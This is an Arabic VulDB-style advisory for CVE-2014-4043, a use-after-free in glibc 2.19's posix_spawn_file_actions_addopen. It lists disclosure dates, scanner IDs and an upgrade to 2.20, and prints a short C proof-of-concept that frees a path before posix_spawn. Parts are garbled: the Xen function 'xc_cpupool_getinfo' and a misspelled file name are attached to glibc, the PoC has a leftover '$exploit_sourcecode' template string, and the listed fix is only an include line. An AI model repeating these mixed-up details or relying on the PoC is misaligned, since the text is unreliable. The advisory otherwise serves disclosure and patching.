GNU C Library 2.19 spawn_faction_addopen.c xc_cpupool_getinfo تجاوز الصلاحيات

| CVSS الدرجة المؤقتة للميتا | سعر الإكسبلويت الحالي (≈) | درجة اهتمام CTI |
|---|---|---|
| 7.9 | $0-$5k | 0.00 |
الملخص
تم أكتشاف ثغرة أمنية في GNU C Library 2.19. وقد تم تصنيفها على أنها مشكلة صعبة الحل. الثغرة الأمنية متواجدة في الدالة xc_cpupool_getinfo من الملف posix/spawn_faction_addopen.c. ينتج عن التلاعب حدوث تجاوز الصلاحيات.
أسم الثغرة الأمنية هوCVE-2014-4043. هنالك إكسبلويت متوفرة.
يوصى بترقية العنصر المتأثر.
التفاصيل
تم أكتشاف ثغرة أمنية في GNU C Library 2.19. وقد تم تصنيفها على أنها مشكلة صعبة الحل. الثغرة الأمنية متواجدة في الدالة xc_cpupool_getinfo من الملف posix/spawn_faction_addopen.c. ينتج عن التلاعب حدوث تجاوز الصلاحيات. أستخدام الـ سي دبليو أي للأعلان عن المشكلة يؤدي إلى CWE-94. قد تم عرض المشكلة في07/02/2014. تم الإعلان عن الثغرة 11/06/2014 من قبل David Reid, Alex Gaynor and and Glyph Lefkowitz تحت Bug 17048 كنوع Bug Report (Bugzilla). يمكن عرض الاستشارة من هنا sourceware.org. تم التنسيق مع البائع قبل النشر العلني.
أسم الثغرة الأمنية هوCVE-2014-4043. تم إصدار CVE في 12/06/2014. التفاصيل التقنية متوفرة. التقارير تشير بأن الثغرة الأمنية هذه ذات شهرة أقل من المتوسط. هنالك إكسبلويت متوفرة. تم نشر تفاصيل الاستغلال للعامة وقد يُستخدم. يصرح مشروع MITRE ATT&CK بأن تقنية الهجوم هي T1059.
إذا وُجد إثبات المفهوم، فإنه يُصرح به كـ إثبات المفهوم. تستطيع تحميل الإكسبلويت من هنا sourceware.org. تم تصنيف الثغرة كاستغلال يوم-صفر غير معلن لمدة لا تقل عن 124 يومًا. بلغ السعر التقديري لثغرة يوم الصفر في السوق السوداء حوالي $0-$5k. الكود البرمجي الذي يستخدمه الاستغلال هو:
int main() {
int res;
posix_spawn_file_actions_t fa;
posix_spawn_file_actions_init(&fa);
char *orig_path = "/tmp/afddsa";
char *path = malloc(strlen(orig_path) + 1);
strcpy(path, orig_path);
path[strlen(orig_path)] = '$exploit_sourcecode';
res = posix_spawn_file_actions_addopen(
&fa, 1, path, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR);
assert(res == 0);
memset(path, 0, strlen(orig_path));
free(path);
char *argv[] = {"/bin/echo", NULL};
pid_t pid;
res = posix_spawn(
&pid,
"/bin/echo",
&fa,
NULL,
argv,
environ
);
assert(res == 0);
int status;
wait4(pid, &status, 0, NULL);
printf("%d\n", WEXITSTATUS(status));
}
يقدم أداة فحص الثغرات Nessus مكونًا إضافيًا يحمل رقم التعريف 76604. يتم تعيينه إلى العائلة SuSE Local Security Checks. هو يعتمد على المنفذ 0. خدمة فحص الشبكات كويلس يمكنها الكشف عن هذه الثغرة الأمنية بواسطة ملحق195576 (Ubuntu Security Notification for Eglibc Vulnerabilities (USN-2306-1)).
حل هذه المشكلة ممكن عبر الترقية إلى الإصدار 2.20. يمكن تحميل تصحيح المشكلة من هنا sourceware.org. يوصى بترقية العنصر المتأثر. سيتم معالجة الثغرة الأمنية عبر الأسطر البرمجية التالية:
#include <string.h>
الثغرة الأمنية هذه تم تسجيلها في قواعد بيانات آخرى: SecurityFocus (BID 68006), X-Force (93784), Secunia (SA58697), Vulnerability Center (SBV-45742) , Tenable (76604).
منتج
النوع
المجهز
الأسم
النسخة
الرخصة
موقع إلكتروني
- المجهز: https://www.gnu.org/
CPE 2.3
CPE 2.2
CVSSv4
VulDB متجه: 🔍VulDB الاعتمادية: 🔍
CVSSv3
VulDB الدرجة الأساسية للميتا: 8.8VulDB الدرجة المؤقتة للميتا: 7.9
VulDB الدرجة الأساسية: 8.8
VulDB الدرجة المؤقتة: 7.9
VulDB متجه: 🔍
VulDB الاعتمادية: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| متجه | التعقيد | توثيق | السرية | الأمانة | التوفر |
|---|---|---|---|---|---|
| افتح | افتح | افتح | افتح | افتح | افتح |
| افتح | افتح | افتح | افتح | افتح | افتح |
| افتح | افتح | افتح | افتح | افتح | افتح |
VulDB الدرجة الأساسية: 🔍
VulDB الدرجة المؤقتة: 🔍
VulDB الاعتمادية: 🔍
NVD الدرجة الأساسية: 🔍
استغلال
الفئة: تجاوز الصلاحياتCWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍
ملموس: جزئي
محلي: نعم
عن بُعد: نعم
التوفر: 🔍
وصول: عام
الحالة: إثبات المفهوم
المؤلف: Alex Gaynor
لغة البرمجة: 🔍
تحميل: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
تقدير السعر: 🔍
تقدير السعر الحالي: 🔍
| 0-Day | افتح | افتح | افتح | افتح |
|---|---|---|---|---|
| اليوم | افتح | افتح | افتح | افتح |
Nessus ID: 76604
Nessus الأسم: SuSE 11.3 Security Update : glibc (SAT Patch Number 9477)
Nessus ملف: 🔍
Nessus خطر: 🔍
Nessus عائلة: 🔍
Nessus Port: 🔍
OpenVAS ID: 703169
OpenVAS الأسم: Debian Security Advisory DSA 3169-1 (eglibc - security update)
OpenVAS ملف: 🔍
OpenVAS عائلة: 🔍
Qualys ID: 🔍
Qualys الأسم: 🔍
استخبارات التهديد
الاهتمام: 🔍الفاعلون النشطون: 🔍
مجموعات APT النشطة: 🔍
إجراءات مضادة
التوصية: ترقيةالحالة: 🔍
زمن الهجوم الفوري: 🔍
وقت تأخير الاستغلال: 🔍
ترقية: C Library 2.20
تصحيح: sourceware.org
الجدول الزمني
07/02/2014 🔍11/06/2014 🔍
11/06/2014 🔍
11/06/2014 🔍
12/06/2014 🔍
13/06/2014 🔍
13/06/2014 🔍
13/06/2014 🔍
20/07/2014 🔍
11/08/2014 🔍
06/10/2014 🔍
22/06/2021 🔍
المصادر
المجهز: gnu.orgاستشارة: Bug 17048
باحث: David Reid, Alex Gaynor, and Glyph Lefkowitz
الحالة: مؤكد
تأكيد: 🔍
منسق: 🔍
CVE: CVE-2014-4043 (🔍)
GCVE (CVE): GCVE-0-2014-4043
GCVE (VulDB): GCVE-100-13587
OVAL: 🔍
X-Force: 93784 - GNU C Library posix_spawn_file_actions_addopen code execution, High Risk
SecurityFocus: 68006 - GNU glibc 'xc_cpupool_getinfo()' Function Use After Free Memory Corruption Vulnerability
Secunia: 58697 - GNU C Library "posix_spawn_file_actions_addopen()" Denial of Service Vulnerabili, Less Critical
Vulnerability Center: 45742 - GNU C Library Remote Code Execution due to a Use After Free Error in \x27posix_spawn_file_actions_addopen\x27, High
scip Labs: https://www.scip.ch/en/?labs.20161013
متفرقات: 🔍
اقرأ أيضاً: 🔍
إدخال
تم الإنشاء: 13/06/2014 03:04 PMتم التحديث: 22/06/2021 08:43 PM
التغييرات: 13/06/2014 03:04 PM (94), 04/06/2017 10:36 AM (7), 22/06/2021 08:43 PM (3)
كامل: 🔍
Cache ID: 216::103
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
لا توجد تعليقات بعد اللغات: ar + fa + en.
يرجى تسجيل الدخول حتى تتمكن من التعليق